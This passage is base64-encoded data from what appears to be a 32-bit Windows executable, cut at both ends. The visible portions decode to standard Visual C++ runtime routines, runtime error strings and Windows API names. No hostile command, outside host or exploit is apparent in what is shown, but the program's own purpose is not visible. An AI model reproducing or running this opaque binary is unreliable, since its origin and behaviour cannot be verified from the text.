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AbwBjAGsAIABlAHIAcgBvAHIADQAKAAAAAAAAAAAAUgA2ADAAMQA4AA0ACgAtACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAGgAZQBhAHAAIABlAHIAcgBvAHIADQAKAAAAAAAAAAAAUgA2ADAAMQA5AA0ACgAtACAAdQBuAGEAYgBsAGUAIAB0AG8AIABvAHAAZQBuACAAYwBvAG4AcwBvAGwAZQAgAGQAZQB2AGkAYwBlAA0ACgAAAAAAAAAAAFIANgAwADIANAANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAF8AbwBuAGUAeABpAHQALwBhAHQAZQB4AGkAdAAgAHQAYQBiAGwAZQANAAoAAAAAAAAAAABSADYAMAAyADUADQAKAC0AIABwAHUAcgBlACAAdgBpAHIAdAB1AGEAbAAgAGYAdQBuAGMAdABpAG8AbgAgAGMAYQBsAGwADQAKAAAAAAAAAFIANgAwADIANgANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAHMAdABkAGkAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGEAdABpAG8AbgANAAoAAAAAAAAAAABSADYAMAAyADcADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABsAG8AdwBpAG8AIABpAG4AaQB0AGkAYQBsAGkAegBhAHQAaQBvAG4ADQAKAAAAAAAAAAAAUgA2ADAAMgA4AA0ACgAtACAAdQBuAGEAYgBsAGUAIAB0AG8AIABpAG4AaQB0AGkAYQBsAGkAegBlACAAaABlAGEAcAANAAoAAAAAAFIANgAwADMAMAANAAoALQAgAEMAUgBUACAAbgBvAHQAIABpAG4AaQB0AGkAYQBsAGkAegBlAGQADQAKAAAAAAAAAAAAUgA2ADAAMwAxAA0ACgAtACAAQQB0AHQAZQBtAHAAdAAgAHQAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAIAB0AGgAZQAgAEMAUgBUACAAbQBvAHIAZQAgAHQAaABhAG4AIABvAG4AYwBlAC4ACgBUAGgAaQBzACAAaQBuAGQAaQBjAGEAdABlAHMAIABhACAAYgB1AGcAIABpAG4AIAB5AG8AdQByACAAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC4ADQAKAAAAAABSADYAMAAzADIADQAKAC0AIABuAG8AdAAgAGUAbgBvAHUAZwBoACAAcwBwAGEAYwBlACAAZgBvAHIAIABsAG8AYwBhAGwAZQAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgANAAoAAAAAAFIANgAwADMAMwANAAoALQAgAEEAdAB0AGUAbQBwAHQAIAB0AG8AIAB1AHMAZQAgAE0AUwBJAEwAIABjAG8AZABlACAAZgByAG8AbQAgAHQAaABpAHMAIABhAHMAcwBlAG0AYgBsAHkAIABkAHUAcgBpAG4AZwAgAG4AYQB0AGkAdgBlACAAYwBvAGQAZQAgAGkAbgBpAHQAaQBhAGwAaQB6AGEAdABpAG8AbgAKAFQAaABpAHMAIABpAG4AZABpAGMAYQB0AGUAcwAgAGEAIABiAHUAZwAgAGkAbgAgAHkAbwB1AHIAIABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALgAgAEkAdAAgAGkAcwAgAG0AbwBzAHQAIABsAGkAawBlAGwAeQAgAHQAaABlACAAcgBlAHMAdQBsAHQAIABvAGYAIABjAGEAbABsAGkAbgBnACAAYQBuACAATQBTAEkATAAtAGMAbwBtAHAAaQBsAGUAZAAgACgALwBjAGwAcgApACAAZgB1AG4AYwB0AGkAbwBuACAAZgByAG8AbQAgAGEAIABuAGEAdABpAHYAZQAgAGMAbwBuAHMAdAByAHUAYwB0AG8AcgAgAG8AcgAgAGYAcgBvAG0AIABEAGwAbABNAGEAaQBuAC4ADQAKAAAAAABSADYAMAAzADQADQAKAC0AIABpAG4AYwBvAG4AcwBpAHMAdABlAG4AdAAgAG8AbgBlAHgAaQB0ACAAYgBlAGcAaQBuAC0AZQBuAGQAIAB2AGEAcgBpAGEAYgBsAGUAcwANAAoAAAAAAEQATwBNAEEASQBOACAAZQByAHIAbwByAA0ACgAAAAAAUwBJAE4ARwAgAGUAcgByAG8AcgANAAoAAAAAAFQATABPAFMAUwAgAGUAcgByAG8AcgANAAoAAAANAAoAAAAAAHIAdQBuAHQAaQBtAGUAIABlAHIAcgBvAHIAIAAAAAAAUgB1AG4AdABpAG0AZQAgAEUAcgByAG8AcgAhAAoACgBQAHIAbwBnAHIAYQBtADoAIAAAADwAcAByAG8AZwByAGEAbQAgAG4AYQBtAGUAIAB1AG4AawBuAG8AdwBuAD4AAAAAAC4ALgAuAAAACgAKAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABWAGkAcwB1AGEAbAAgAEMAKwArACAAUgB1AG4AdABpAG0AZQAgAEwAaQBiAHIAYQByAHkAAAAAAGsAZQByAG4AZQBsADMAMgAuAGQAbABsAAAAAABGbHNBbGxvYwAAAABGbHNGcmVlAEZsc0dldFZhbHVlAEZsc1NldFZhbHVlAEluaXRpYWxpemVDcml0aWNhbFNlY3Rpb25FeABDcmVhdGVFdmVudEV4VwAAQ3JlYXRlU2VtYXBob3JlRXhXAABTZXRUaHJlYWRTdGFja0d1YXJhbnRlZQBDcmVhdGVUaHJlYWRwb29sVGltZXIAAABTZXRUaHJlYWRwb29sVGltZXIAAFdhaXRGb3JUaHJlYWRwb29sVGltZXJDYWxsYmFja3MAQ2xvc2VUaHJlYWRwb29sVGltZXIAAAAAQ3JlYXRlVGhyZWFkcG9vbFdhaXQAAAAAU2V0VGhyZWFkcG9vbFdhaXQAAABDbG9zZVRocmVhZHBvb2xXYWl0AEZsdXNoUHJvY2Vzc1dyaXRlQnVmZmVycwAAAABGcmVlTGlicmFyeVdoZW5DYWxsYmFja1JldHVybnMAAEdldEN1cnJlbnRQcm9jZXNzb3JOdW1iZXIAAABHZXRMb2dpY2FsUHJvY2Vzc29ySW5mb3JtYXRpb24AAENyZWF0ZVN5bWJvbGljTGlua1cAU2V0RGVmYXVsdERsbERpcmVjdG9yaWVzAAAAAEVudW1TeXN0ZW1Mb2NhbGVzRXgAQ29tcGFyZVN0cmluZ0V4AEdldERhdGVGb3JtYXRFeABHZXRMb2NhbGVJbmZvRXgAR2V0VGltZUZvcm1hdEV4AEdldFVzZXJEZWZhdWx0TG9jYWxlTmFtZQAAAABJc1ZhbGlkTG9jYWxlTmFtZQAAAExDTWFwU3RyaW5nRXgAAABHZXRDdXJyZW50UGFja2FnZUlkAEdldFRpY2tDb3VudDY0AABHZXRGaWxlSW5mb3JtYXRpb25CeUhhbmRsZUV4VwAAAFNldEZpbGVJbmZvcm1hdGlvbkJ5SGFuZGxlVwAAAAAABQAAwAsAAAAAAAAAHQAAwAQAAAAAAAAAlgAAwAQAAAAAAAAAjQAAwAgAAAAAAAAAjgAAwAgAAAAAAAAAjwAAwAgAAAAAAAAAkAAAwAgAAAAAAAAAkQAAwAgAAAAAAAAAkgAAwAgAAAAAAAAAkwAAwAgAAAAAAAAAtAIAwAgAAAAAAAAAtQIAwAgAAAAAAAAADAAAAJAAAAADAAAACQAAAAAAAAAAAAAABoCAhoCBgAAAEAO